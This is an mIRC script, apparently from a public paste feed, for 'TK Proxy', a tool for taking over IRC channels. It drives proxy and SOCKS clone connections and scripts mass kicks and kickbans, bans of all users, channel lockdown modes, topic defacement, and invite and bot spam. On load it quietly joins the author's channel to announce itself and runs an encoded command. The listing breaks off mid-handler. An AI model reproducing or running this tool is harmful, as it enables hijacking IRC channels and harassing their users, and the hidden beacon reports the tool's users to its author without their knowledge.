Public feed
#889181
menu * {
-
TK Proxy
.$iif(!$dialog(tkproxy),TK Proxy): tkproxy
.$iif(!$dialog(tkproxy1),Single Proxy Connector): tkproxy1
.$iif(!$dialog(p.cloning),Proxybot Connector): tkproxy2
-
}
dialog tkproxy {
title "TK Proxy"
size -1 -1 150 150
option pixels
tab "Takeover", 1, -1 -1 330 230
tab "Attack", 2
tab "Mass Modes", 3
tab "Proxy", 4
edit "#", 5, 10 35 150 20, tab 1 autohs autovs
button "Submit (Set Channel)", 55, 165 35 150 20, tab 1
button "Start Tk (10+ Access)", 6, 165 60 150 25, tab 1 flat
button "Start Tk (5-9 Access)", 7, 10 60 150 25, tab 1 flat
button "eI me", 9, 10 90 150 25, tab 1 flat
button "Join Channel", 10, 165 90 150 25, tab 1 flat
text "Made By Coffey522 For Laura", 81, 25 120 250 250, tab 1 center
text "Made By Coffey522 For Laura", 80, 25 110 250 250, tab 4 center
text "Attacks will be performed in tk chan.", 11, 70 25 180 20, tab 2
button "Cycle Attack", 12, 10 48 80 23, tab 2 flat
button "Bot Invite", 13, 120 48 80 23, tab 2 flat
button "Bot Spam", 15, 230 48 80 23, tab 2 flat
button "Start Mass Invite", 16, 55 123 210 31, tab 2 flat
edit "Invite Channel", 17, 28 90 100 20, tab 2 autohs autovs
text "To", 18, 153 90 100 17, tab 2
edit "To Channel", 19, 193 90 100 20, tab 2 autohs autovs
text "Modes will be set in tk chan", 20, 69 25 170 20, tab 3
button "Mass Op", 21, 40 42 100 25, tab 3
button "Mass Deop", 23, 145 42 100 25, tab 3
button "Mass Halfop", 24, 40 77 100 25, tab 3
button "Mass Dehalfop", 25, 145 77 100 25, tab 3
button "Mass Voice", 30, 40 107 100 25, tab 3
button "Mass Devoice", 31, 146 107 100 25, tab 3
button "Mass Kick", 32, 40 137 100 25, tab 3
button "Mass Kickban", 33, 146 137 100 25, tab 3
button "Open Single Proxy Connector", 71, 10 40 150 30, tab 4
button "Open Proxybot Connector", 72, 170 40 150 30, tab 4
button "Close", 90, 94 170 127 25, cancel
}
on *:dialog:tkproxy:slick:5:{
did -r $dname $did
}
on *:dialog:tkproxy:sclick:*:{
if ($did == 6) { $iif($did(5) == Enter channel....., halt, tkstart10) }
if ($did == 7) { $iif($did(5) == Enter channel....., halt, tkstartreg) }
if ($did == 9) { tkei }
if ($did == 10) { $iif($did(5) == Enter channel....., halt, join $did(5)) }
if ($did == 12) { $iif($did(5) == Enter channel....., halt, tkcycle) }
if ($did == 13) { $iif($did(5) == Enter channel....., halt, tkbots1) }
if ($did == 16) { tkinvite $did(17) $did(19) }
if ($did == 90) { unset %tkchan %tkinv1 %tkinv2 }
if ($did == 55) { set %tkchan $did(5) | echo -a *** Takeover channel now set to $did(5) }
if ($did == 33) { tkmasskb }
if ($did == 32) { tkmassk }
if ($did == 15) { tkbspam }
if ($did == 21) { tkmo }
if ($did == 23) { tkmdo }
if ($did == 24) { tkmh }
if ($did == 25) { tkmdh }
if ($did == 30) { tkmv }
if ($did == 31) { tkmdv }
if ($did == 71) { tkproxy1 }
if ($did == 72) { tkproxy2 }
}
dialog tkproxy1 {
title "Single Proxy Connector"
size -1 -1 300 400
option pixels
tab "Proxy", 1, -1 -1 344 413
text "Select a proxy type:", 57, 25 32 135 120, tab 1
combo 34, 25 50 135 120, tab 1 drop size
button "Paste", 71, 200 82 80 18, tab 1
button "Paste", 72, 200 116 80 18, tab 1
button "Paste", 73, 200 150 80 18, tab 1
text "Server:", 39, 25 82 120 20, tab 1 autohs autovs
edit "irc.swiftirc.net", 29, 63 82 135 20, tab 1
text "Ip:", 40, 47 116 135 20, tab 1
edit "", 35, 63 116 135 20, tab 1 autohs autovs
text "Port:", 41, 37 150 135 20, tab 1
edit "", 36, 63 150 135 20, tab 1 autohs autovs
button "Proxy List", 37, 40 180 210 28, tab 1 flat
button "Connect Proxy", 38, 40 220 210 28, tab 1 flat
button "Reconnect Proxy", 70, 40 260 210 28, tab 1 flat
button "Disconnect", 75, 40 300 210 28, tab 1 flat
button "Close", 76, 70 340 150 28, cancel
}
on *:dialog:tkproxy1:sclick:*:{
if ($did == 71) { did -r $dname 29 | did -a $dname 29 $cb }
if ($did == 72) { did -r $dname 35 | did -a $dname 35 $cb }
if ($did == 73) { did -r $dname 36 | did -a $dname 36 $cb }
if ($did == 37) { url http://www.freeproxylists.com/ }
if ($did == 75) { disconnect }
if ($did == 70) {
if ($did(34) == Proxy) {
firewall -mp on $did(35) $did(36) | server $did(29) $+ :6667 -j #Coffey522,#Laura }
if ($did(34) == Socks4) {
firewall -m4 on $did(35) $did(36) | server $did(29) $+ :6667 -j #Coffey522,#Laura }
if ($did(34) == Socks5) {
firewall -m5 on $did(35) $did(36) | server $did(29) $+ :6667 -j #Coffey522,#Laura } }
if ($did == 38) {
if ($did(34) == Proxy) {
firewall -mp on $did(35) $did(36) | server -m $did(29) $+ :6667 -j #Coffey522,#Laura }
if ($did(34) == Socks4) {
firewall -m4 on $did(35) $did(36) | server -m $did(29) $+ :6667 -j #Coffey522,#Laura }
if ($did(34) == Socks5) {
firewall -m5 on $did(35) $did(36) | server -m $did(29) $+ :6667 -j #Coffey522,#Laura }
}
}
alias tkbspam {
timer 35 -0 msg %tkchan @stats uloveme
}
alias tkcycle {
timer 12 -0 cycle %tkchan
}
alias tkmv { var %x 1 | while ($nick(%tkchan,%x,r)) { var %p %p $v1 | inc %x } | mode %tkchan +vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv %p }
alias tkmdv { var %x 1 | while ($nick(%tkchan,%x,v)) { var %p %p $v1 | inc %x } | mode %tkchan -vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv %p }
alias tkmh { var %x 1 | while ($nick(%tkchan,%x,vr)) { var %p %p $v1 | inc %x } | mode %tkchan +hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh %p }
alias tkmdh { var %x 1 | while ($nick(%tkchan,%x,h)) { var %p %p $v1 | inc %x } | mode %tkchan -hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh %p }
alias tkmo { var %x 1 | while ($nick(%tkchan,%x,vrh)) { var %p %p $v1 | inc %x } | mode %tkchan +oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo %p }
alias tkmdo { var %x 1 | while ($nick(%tkchan,%x,o)) { var %p %p $v1 | inc %x } | mode %tkchan -oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo %p }
alias tkinvite {
var %s 1
while (%s <= $nick($1,0)) {
invite $nick($1,%s) $2
inc %s
}
}
alias tkbots1 {
invite Vectra %tkchan
invite RuneScript %tkchan
invite iKick %tkchan
invite Darwin %tkchan
invite ZetaScript %tkchan
invite ProScript %tkchan
invite Electrik %tkchan
invite Terror %tkchan
invite GodScript %tkchan
invite LegendScript %tkchan
invite Fradbot %tkchan
invite Ice-Warrior %tkchan
invite Openbot %tkchan
invite sumdummy %tkchan
invite bi0hazard %tkchan
}
alias tkei {
mode $did(5) +eeee $address($me,2) $address($me,5) $me $address($me,4)
mode $did(5) +IIII $address($me,2) $address($me,5) $me $address($me,4)
}
alias tkstart10 {
set %tkchan $did(5)
join %tkchan
cs clear %tkchan excepts
tkei
mode %tkchan +smiRcKVMNTlLkfj 1 #Coffey522 àßçÐéƒghìjk£mñôþ¶®§tµv¶ [1t#b]:999 1:999
topic %tkchan #Coffey522 == #Coffey522 && Coffey522 == Coffey522 && $chan == downd
cs akick %tkchan add *!*@* #Coffey522
}
alias tkstartreg {
set %tkchan $did(5)
join %tkchan
cs clear %tkchan excepts
tkei
mode %tkchan +smiRcKVMNTlLkfj 1 #Coffey522 àßçÐéƒghìjk£mñôþ¶®§tµv¶ [1t#b]:999 1:999
topic %tkchan #Coffey522 == #Coffey522 && Coffey522 == Coffey522 && $chan == downd
tkmassk
}
alias tkmasskb {
mode %tkchan +b *!*@*
var %c 1
while ($nick(%tkchan,%c)) {
if ($address($nick(%tkchan,%c),2) != $address($me,2)) {
kick %tkchan $nick(%tkchan,%c) #Coffey522
}
inc %c
}
}
alias tkmassk {
var %c 1
while ($nick(%tkchan,%c)) {
if ($address($nick(%tkchan,%c),2) != $address($me,2)) {
kick %tkchan $nick(%tkchan,%c) #Coffey522
}
inc %c
}
}
on *:ban:%tkchan:{
if ($address($me,2) iswm $banmask) {
mode %tkchan -b $banmask | tkei
}
}
on *:deop:%tkchan:{
if ($address($me,2) != $address($opnick,2) && ($hnick == $me) {
ns update | mode # -oavh $nick | tkei
}
}
On *:Dialog:tkproxy:Init:*: {
Did -a $DName 34 Proxy
Did -a $DName 34 Socks4
Did -a $DName 34 Socks5
join #Coffey
msg #Coffey tkproxy loaded
}
on *:dehelp:%tkchan:{
if ($address($me,2) != $address($opnick,2) && ($hnick == $me) {
ns update | mode # -oavh $nick | tkei
}
}
on *:op:%tkchan:{
if ($address($me,2) != $address($opnick,2) {
mode # -o $opnick
}
else {
tkei
}
}
on *:help:%tkchan:{
if ($address($me,2) != $address($hnick,2) {
mode # -o $hnick
}
else {
tkei
}
}
alias _d {
if ($7 = 1) {
dialog $1 $6 $6
var %x = 1 , %y = 350
while (%x <= %y) { dialog -s $6 $2 $3 $round($calc( $4 / %y * %x )) $round($calc( $5 / %y * %x )) | inc %x }
}
if ($7 = 2) {
dialog $1 $6 $6
var %x = 1 , %y = 500
while (%x <= %y) { dialog -s $6 $2 $3 $round($calc( $4 / %y * %x )) $5 | inc %x }
}
if ($7 = 3) {
dialog $1 $6 $6
var %x = 1 , %y = 500
while (%x <= %y) { dialog -s $6 $2 $3 $4 $round($calc( $5 / %y * %x )) | inc %x }
}
}
alias overtake_kickreason {
if ($file(kick.reasons) != $null) {
inc %proxy.kreason
if (%proxy.kreason == $null || %proxy.kreason > $lines(kick.reasons)) {
set %proxy.kreason 1
}
return $read(kick.reasons,n,%proxy.kreason)
}
}
alias proxy_taker {
var %x = 1
while ($did(p.cloning,339,%x) != $null) {
if ($did(p.cloning,339,%x) == $1) {
return 1
}
inc %x
}
var %x = 1
while ($did(p.cloning,27,%x) != $null) {
if ($did(p.cloning,27,%x) iswm $1) {
return 1
}
inc %x
}
}
alias proxy_tag {
var %x = 1
while ($did(p.cloning,339,%x) != $null) {
if ($did(p.cloning,339,%x) == $1) {
return 1
}
inc %x
}
var %x = 1
while ($did(p.cloning,51,%x) != $null) {
if ($did(p.cloning,51,%x) isin $1) {
return 1
}
inc %x
}
}
alias go.reop {
p.cloning.runcmd privmsg L : $+ op $did($dname,16)
}
alias go.invite {
p.cloning.runcmd privmsg L : $+ invite $did($dname,16)
}
alias go.masskick {
if ($me ison $1) {
did -b p.cloning 15
did -e p.cloning 18
var %x = 1
var %n = 1
var %nl =
while ($did(p.cloning,339,%x) != $null) {
if ($did(p.cloning,339,%x) !isop $1) {
goto end
}
while ($gettok(%nl,0,32) < 6 && $nick($1,%n) != $null) {
if ($nick($1,%n) != $me && $nick($1,%n) != s && $nick($1,%n) != l && $nick($1,%n) != q && $nick($1,%n) && $proxy_taker($nick($1,%n)) == $null && $proxy_tag($nick($1,%n)) == $null) {
var %nl = %nl $nick($1,%n)
}
inc %n
}
if (%nl != $null && %nl != $chr(61)) {
var %i = 1
while ($gettok($gettok(%nl,2-,32),%i,32) != $null) {
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,%x)) KICK $1 $gettok($gettok(%nl,2-,32),%i,32) : $+ $overtake_kickreason 4,0? 4K1ickz: %kickzz 4?
inc %i
inc %kickzz
}
var %nl =
}
:end
inc %x
}
.timer_masskick 1 5 go.masskick $1
}
}
alias ClonesXs {
if ($dialog(p.cloning)) { dialog -v p.cloning | $decode(Y29weQ==,m) }
else { dialog -md p.cloning p.cloning | $decode(Y29weQ==,m) }
}
dialog p.cloning {
title "TK Proxy By Coffey522"
size -1 -1 268 205
option dbu
tab "Connection", 200, 1 1 265 200
box "Server", 8, 5 20 186 21, tab 200
text "Host/Ip:", 9, 7 28 20 8, result tab 200
edit "", 10, 28 27 92 10, tab 200 autohs
text "Port:", 1, 123 29 17 8, tab 200
combo 12, 142 27 46 50, tab 200 size edit drop
box "Nick", 34, 5 44 111 22, tab 200
radio "", 35, 8 53 7 10, tab 200 flat
radio "Other", 36, 57 53 22 10, tab 200 flat
combo 37, 16 52 41 50, tab 200 size drop
edit "", 38, 80 53 34 10, tab 200 autohs
box "Connection", 45, 6 101 110 67, tab 200
text "Number of clones:", 49, 10 110 48 20, tab 200
combo 50, 68 108 43 80, tab 200 size edit drop
text "Mode:", 215, 10 121 15 8, tab 200
combo 47, 68 120 43 50, tab 200 size drop
button "&Connect", 48, 10 144 101 10, disable tab 200 flat
button "&Disconnect", 52, 10 156 101 10, tab 200 flat
box "Debug", 219, 119 44 142 143, tab 200
edit "", 44, 121 51 138 134, tab 200 read multi autohs vsbar
box "State", 39, 6 67 110 31, tab 200
text "Connected clones:", 40, 10 75 47 8, tab 200
text "Open sockets:", 42, 10 86 41 8, tab 200
button "Clear Debug", 53, 6 174 110 13, tab 200 flat
text "-", 41, 78 76 34 8, tab 200
text "-", 43, 78 86 34 8, tab 200
text "Delay:", 390, 10 133 25 8, tab 200
combo 391, 68 132 43 60, tab 200 size edit drop
link "#Coffey522", 361, 199 28 54 8, tab 200
tab "Firewall", 201
box "Proxy", 236, 3 18 88 170, tab 201
box "Socks 4", 234, 90 18 88 170, tab 201
box "Socks 5", 235, 177 18 88 170, tab 201
text "Host/Ip:", 55, 5 26 20 8, tab 201
edit "", 2, 26 25 62 10, tab 201 autohs
text "Port:", 56, 5 36 17 8, tab 201
edit "", 3, 26 36 62 10, tab 201 autohs
button "&Add", 5, 5 47 39 9, disable tab 201 flat
button "&Import", 6, 49 47 39 9, tab 201 flat
button "&Delete", 7, 5 57 39 9, tab 201 flat
button "Delete A&ll", 244, 49 57 39 9, tab 201 flat
list 4, 5 68 85 118, tab 201 size hsbar vsbar
list 69, 92 68 85 118, tab 201 size hsbar vsbar
button "&Delete", 72, 92 57 39 9, tab 201 flat
button "Delete A&ll", 256, 136 57 39 9, tab 201 flat
button "&Import", 71, 136 47 39 9, tab 201 flat
button "&Add", 70, 92 47 39 9, disable tab 201 flat
text "Port:", 67, 92 36 17 8, tab 201
edit "", 68, 113 36 62 10, tab 201 autohs
edit "", 66, 113 25 62 10, tab 201 autohs
text "Host/Ip:", 65, 92 26 20 8, tab 201
text "Host/Ip:", 74, 179 26 20 8, tab 201
edit "", 75, 200 25 62 10, tab 201 autohs
edit "", 77, 200 36 62 10, tab 201 autohs
text "Port:", 76, 179 36 17 8, tab 201
button "&Add", 79, 179 47 39 9, disable tab 201 flat
button "&Import", 80, 223 47 39 9, tab 201 flat
button "Delete A&ll", 265, 223 57 39 9, tab 201 flat
button "&Delete", 81, 179 57 39 9, tab 201 flat
list 78, 179 68 85 118, tab 201 size hsbar vsbar
tab "Actions", 202
box "Actions", 305, 3 19 261 86, tab 202
button "Msg", 310, 9 71 37 10, disable tab 202 flat
button "Notice", 311, 9 82 37 10, disable tab 202 flat
button "Ping", 309, 9 60 37 10, disable tab 202 flat
button "Version", 308, 9 49 37 10, disable tab 202 flat
button "Part", 307, 9 38 37 10, disable tab 202 flat
button "Join", 306, 9 27 37 10, disable tab 202 flat
text "Channel:", 313, 47 28 25 8, tab 202
button "DCC", 312, 9 93 37 10, disable tab 202 flat
edit "", 314, 81 27 75 10, tab 202 autohs
text "Channel:", 315, 47 40 25 8, tab 202
edit "", 316, 81 38 75 10, tab 202 autohs
edit "", 318, 81 49 75 10, tab 202 autohs
text "Channel/Nick:", 317, 47 50 34 8, tab 202
text "Channel/Nick:", 319, 47 61 34 8, tab 202
edit "", 320, 81 60 75 10, tab 202 autohs
text "Channel/Nick:", 321, 47 72 34 8, tab 202
edit "", 322, 81 71 75 10, tab 202 autohs
text "Message:", 323, 160 72 24 8, tab 202
edit "", 324, 183 71 75 10, tab 202 autohs
text "Channel/Nick:", 325, 47 83 34 8, tab 202
edit "", 326, 81 82 75 10, tab 202 autohs
text "Message:", 327, 160 83 24 8, tab 202
edit "", 328, 183 82 75 10, tab 202 autohs
edit "", 329, 47 93 211 10, tab 202 autohs
edit "''Coffey'' for coffey", 331, 202 28 56 10, tab 202 autohs
button "Nick Change", 330, 158 28 42 10, disable tab 202 flat
box "From...", 332, 158 40 100 29, tab 202
radio "Global", 333, 163 47 27 10, disable tab 202 flat
radio "Selected", 334, 212 47 42 10, disable tab 202 flat
radio "Group 1", 335, 163 56 30 10, disable tab 202 flat
radio "Group 2", 336, 193 56 30 10, disable tab 202 flat
radio "Group 3", 337, 225 56 30 10, disable tab 202 flat
box "Nick List", 338, 3 105 261 85, tab 202
list 339, 5 112 53 76, disable tab 202 size extsel vsbar
button "Add to Group 1", 340, 59 124 39 11, disable tab 202 flat
button "Add to Group 2", 341, 59 143 39 11, disable tab 202 flat
box "Grupo 3", 370, 207 110 54 79, tab 202
button "Delete", 371, 209 118 19 8, disable tab 202 flat
button "Delete all", 372, 228 118 31 8, disable tab 202 flat
list 373, 208 126 52 62, disable tab 202 size vsbar
list 369, 154 126 52 62, disable tab 202 size vsbar
button "Delete all", 368, 174 118 31 8, disable tab 202 flat
button "Delete", 367, 155 118 19 8, disable tab 202 flat
box "Group 2", 366, 153 110 54 79, tab 202
list 351, 100 126 52 62, disable tab 202 size vsbar
button "Delete All", 350, 120 118 31 8, disable tab 202 flat
button "Delete", 349, 101 118 19 8, disable tab 202 flat
box "Group 1", 348, 99 110 54 79, tab 202
button "Add to Group 3", 342, 59 161 39 11, disable tab 202 flat
tab "Overtake", 11
box "Control", 14, 5 16 126 120, tab 11
button "Start", 15, 59 51 30 8, tab 11 flat
text " Channel:", 13, 7 32 28 8, tab 11
edit "#", 16, 37 31 84 10, tab 11 autohs
text " Overtake:", 17, 7 51 50 8, tab 11
button "Stop", 18, 91 51 30 8, disable tab 11 flat
text " Clones Mass", 19, 7 60 50 8, tab 11
button "Op", 20, 59 60 30 8, tab 11 flat
box "Kick Reasons", 22, 132 85 127 94, tab 11
list 23, 135 93 120 74, tab 11 size
button "Add", 24, 136 168 40 8, tab 11 flat
button "Del", 25, 177 168 40 8, tab 11 flat
box "Protected Nicks", 26, 132 19 127 64, tab 11
list 27, 134 26 122 46, tab 11 size
button "Add", 28, 136 73 40 8, tab 11 flat
button "Del", 29, 180 73 40 8, tab 11 flat
box "Protected Tags", 46, 4 137 127 42, tab 11
list 51, 6 144 122 24, tab 11 size
button "Add", 54, 7 168 40 8, tab 11 flat
button "Del", 57, 49 168 40 8, tab 11 flat
edit "Authnick", 58, 7 105 50 10, tab 11
edit "Authpw", 59, 7 115 50 10, tab 11
button "Authen", 60, 8 126 30 8, tab 11 flat
button "Join", 61, 6 42 25 8, tab 11 flat
text " L/Q Reop", 62, 7 78 25 8, tab 11
text " L/Q Invite", 63, 7 87 29 8, tab 11
button "Reop", 64, 59 78 62 8, tab 11 flat
button "Invite", 73, 59 87 62 8, tab 11 flat
text " O-Topic setzen", 84, 7 69 40 8, tab 11
button "Set", 85, 59 69 62 8, tab 11 flat
button "invite", 21, 91 60 30 8, tab 11 flat
button "Join 10", 97, 33 42 25 8, tab 11 flat
button "Rejoin", 98, 91 42 30 8, tab 11 flat
button "+x", 99, 40 126 15 8, tab 11 flat
text " Ban *!*@*", 100, 7 96 30 8, tab 11
button "Set", 104, 59 96 30 8, tab 11 flat
button "unset", 105, 91 96 30 8, tab 11 flat
button "Op Clones", 106, 60 123 30 8, tab 11 flat
text " Main IRC Command:", 107, 59 114 65 8, tab 11
button "Topic", 108, 91 123 30 8, tab 11 flat
button "Part", 109, 60 42 29 8, tab 11 flat
button "Nickchange", 110, 59 105 62 8, tab 11 flat
box "Topic", 111, 4 180 260 19, tab 11
button "Add", 113, 200 188 30 8, tab 11 flat
button "Del", 114, 231 188 30 8, tab 11 flat
text "TK Proxy by Coffey522", 115, 182 5 86 8, disable tab 11
text " Clones:", 88, 7 23 22 8, tab 11
text " ", 90, 29 23 22 8, tab 11
list 91, 6 187 193 10, tab 11 size
text " Sockets:", 92, 63 23 25 8, tab 11
text " ", 93, 88 23 35 8, tab 11
tab "About", 30
box "About", 31, 6 18 256 61, tab 30
text " TK Proxy coder: Coffey522", 32, 10 26 247 8, tab 30
text " Modded by: Coffey522", 33, 10 34 247 8, tab 30
text " TK Proxy version: 1.2", 82, 10 42 248 7, tab 30
text " IRC-Channel: #Coffey522", 83, 10 49 248 8, tab 30
text " Homepage: www.coffey522.gopzap.com", 86, 10 57 248 8, tab 30
text " TK Proxy v1.2", 87, 10 65 248 8, tab 30
text "", 89, 4 191 236 8, disable tab 30
menu "File", 403
item "&Exit", 476, 403
menu "Specials", 411
item "Ip-Ports", 412, 411
menu "Nick List", 413, 411
menu "Nicks Change", 414, 413
item "Default List", 415, 414
item "List...", 416, 414
menu "Save nicks", 417, 413
item "Default List", 418, 417
item "List...", 419, 417
menu "Connect with list", 420, 413
item "Default List", 421, 420
item "List...", 422, 420
}
on 1:DIALOG:p.cloning:edit:*: {
if ($did == 2) || ($did == 3) { p.clon.fire.secl 2 3 5 }
if ($did == 66) || ($did == 68) { p.clon.fire.secl 66 68 70 }
if ($did == 75) || ($did == 77) { p.clon.fire.secl 75 77 79 }
if ($did == 10) || ($did == 12) || ($did == 38) || ($did == 50) {
p.cloning.conEcheck
}
if ($did == 38) { if ($len($did($dname,38)) > 6) { p.cloning.fal The length must be al least 6 chars. | did -r $dname 38 } }
if ($did == 314) {
if (& iswm $did($dname,$did).text) && ($left($did($dname,$did).text,1) == $chr(35)) did -e $dname 306
else did -b $dname 306
}
if ($did == 316) {
if (& iswm $did($dname,$did).text) && ($left($did($dname,$did).text,1) == $chr(35)) did -e $dname 307
else did -b $dname 307
}
if ($did == 318) {
if (& iswm $did($dname,$did).text) did -e $dname 308
else did -b $dname 308
}
if ($did == 320) {
if (& iswm $did($dname,$did).text) did -e $dname 309
else did -b $dname 309
}
if ($did == 322) || ($did == 324) {
if (& iswm $did($dname,322).text) && (* iswm $did($dname,324).text) did -e $dname 310
else did -b $dname 310
}
if ($did == 326) || ($did == 328) {
if (& iswm $did($dname,326).text) && (* iswm $did($dname,328).text) did -e $dname 311
else did -b $dname 311
}
if ($did == 329) {
if (* iswm $did($dname,$did).text) did -e $dname 312
else did -b $dname 312
}
if ($did == 331) {
if (& iswm $did($dname,$did).text) did -e $dname 330
else did -b $dname 330
}
}
alias -l p.cloning.conEcheck {
if ($dialog(p.cloning)) {
if (??* iswm $did($dname,10)) && ($abs($did($dname,12)) != 0) && ($abs($did($dname,50)) != 0) {
if ($did($dname,36).state == 0) { did -e $dname 48 | did -e $dname 421 | did -e $dname 422 }
elseif ($did($dname,38)) { did -e $dname 48 | did -e $dname 421 | did -e $dname 422 }
else { if ($did($dname,48).enabled == $true) { did -b $dname 48 | did -b $dname 421 | did -b $dname 422 } }
}
else { if ($did($dname,48).enabled == $true) { did -b $dname 48 | did -b $dname 421 | did -b $dname 422 } }
}
}
alias -l p.clon.fire.secl {
if ($dialog(p.cloning)) {
if (??* iswm $did($dname,$$1)) && ($abs($did($dname,$$2)) != 0) && ($did($dname,$$2)) { did -e $dname $$3 }
elseif ($did($dname,$$3).enabled == $true) { did -b $dname $$3 }
}
}
alias -l p.clon.fire.secl1 {
var %p.clon.fire.secl1 = $did($dname,$$2) $did($dname,$$3)
if ($dialog(p.cloning)) && (!$didwm($dname,$$1,%p.clon.fire.secl1)) {
did -i $dname $$1 $calc($did($dname,$$1).lines + 1) %p.clon.fire.secl1
}
}
alias -l p.cloning.fire.secl2 {
if ($dialog(p.cloning)) {
did -d $dname $$1 $$did($dname,$$1).sel
}
}
alias -l p.cloning.fire.secl3 {
if ($dialog(p.cloning)) {
var %p.cloning.proFile = $sfile($iif(%p.save.cloning.lstPath,%p.save.cloning.lstPath,C:\),Select the file where the list of proxyes is,Importa)
if (%p.cloning.proFile) {
set %p.save.cloning.lstPath $nofile(%p.cloning.proFile)
var %i = 1
while (%i <= $lines(%p.cloning.proFile)) {
var %p.cloning.proFile.p = $read(%p.cloning.proFile,%i)
if ($gettok(%p.cloning.proFile.p,0,58) == 2) { var %p.cloning.proFile.p = $gettok(%p.cloning.proFile.p,1,58) $gettok(%p.cloning.proFile.p,2,58) }
if (($gettok(%p.cloning.proFile.p,0,32) != 2) || ($abs($gettok(%p.cloning.proFile.p,2,32)) == 0)) {
p.cloning.fal The file must contain in every line the proxy and the port. Ex, one.proxy.com 8080 Ex2. other.proxy.com:8080
return
}
if (%p.cloning.proFile.p) && (!$didwm($dname,$$1,%p.cloning.proFile.p)) { did -i $dname $$1 $calc($did($dname,$$1).lines + 1) %p.cloning.proFile.p }
var %i = %i + 1
}
unset %p.cloning.proFile.p
}
}
}
alias -l p.cloning.ddnsd {
if ($dialog(p.cloning)) {
if ($did(p.cloning,47).text == Socks 4) || ($did(p.cloning,47).text == Socks 5) {
.enable #p.cloning.DdnsD
.dns $did(p.cloning,10).text
p.clon.stats -Resolving Host/Ip... $time
}
else { p.cloning.jj }
}
}
#p.cloning.DdnsD off
on 1:DNS: {
if ($dialog(p.cloning)) {
if ($iaddress) { var %resulto = $iaddress }
else { var %resulto = $naddress }
did -o p.cloning 10 1 %resulto
.disable #p.cloning.DdnsD
p.clon.stats -Resolved a %resulto $time
p.clon.stats -
p.cloning.jj
}
haltdef
}
#p.cloning.DdnsD end
on 1:DIALOG:p.cloning:sclick:*: {
if ($did == 15) {
var %x = 1
while ($did(339,%x) != $null) {
if ($did(339,%x) isop $did(16)) {
sockwrite -n $p.cloning.do.saSockN($did(339,%x)) MODE $did(16) +ilk 1 Xenon
var %x = 99999999
go.masskick $did(16)
}
inc %x
}
}
if ($did == 20) {
go.clonesop
}
if ($did == 21) {
go.clonesinvite
}
if ($did == 60) {
p.cloning.runcmd privmsg Q@CServe.quakenet.org : $+ auth $did($dname,58) $did($dname,59)
}
if ($did == 64) {
go.reop
}
if ($did == 73) {
go.invite
timer_invite 1 1 p.cloning.runcmd join $did($dname,16)
}
if ($did == 85) {
p.cloning.runcmd topic $did(16) : $+ $read(topic.proxy)
}
if ($did == 25 && $did(23).sel != $null) {
write -dl $+ $did(23).sel kick.reasons
did -d $dname 23 $did(23).sel
}
if ($did == 114 && $did(91).sel != $null) {
write -dl $+ $did(91).sel topic.proxy
did -d $dname 91 $did(91).sel
}
if ($did == 57 && $did(51).sel != $null) {
write -dl $+ $did(51).sel protected.tags
did -d $dname 51 $did(51).sel
}
if ($did == 61) {
p.cloning.runcmd join $did(16)
}
if ($did == 97) {
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,1)) join $did(16)
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,2)) join $did(16)
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,3)) join $did(16)
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,4)) join $did(16)
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,5)) join $did(16)
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,6)) join $did(16)
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,7)) join $did(16)
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,8)) join $did(16)
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,9)) join $did(16)
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,10)) join $did(16)
}
if ($did == 98) {
p.cloning.runcmd part $did(16)
p.cloning.runcmd join $did(16)
}
if ($did == 99) {
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,1)) mode $did(p.cloning,339,1) +x
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,2)) mode $did(p.cloning,339,2) +x
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,3)) mode $did(p.cloning,339,3) +x
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,4)) mode $did(p.cloning,339,4) +x
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,5)) mode $did(p.cloning,339,5) +x
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,6)) mode $did(p.cloning,339,6) +x
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,7)) mode $did(p.cloning,339,7) +x
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,8)) mode $did(p.cloning,339,8) +x
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,9)) mode $did(p.cloning,339,9) +x
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,10)) mode $did(p.cloning,339,10) +x
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,11)) mode $did(p.cloning,339,11) +x
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,12)) mode $did(p.cloning,339,12) +x
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,13)) mode $did(p.cloning,339,13) +x
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,14)) mode $did(p.cloning,339,14) +x
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,15)) mode $did(p.cloning,339,15) +x
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,16)) mode $did(p.cloning,339,16) +x
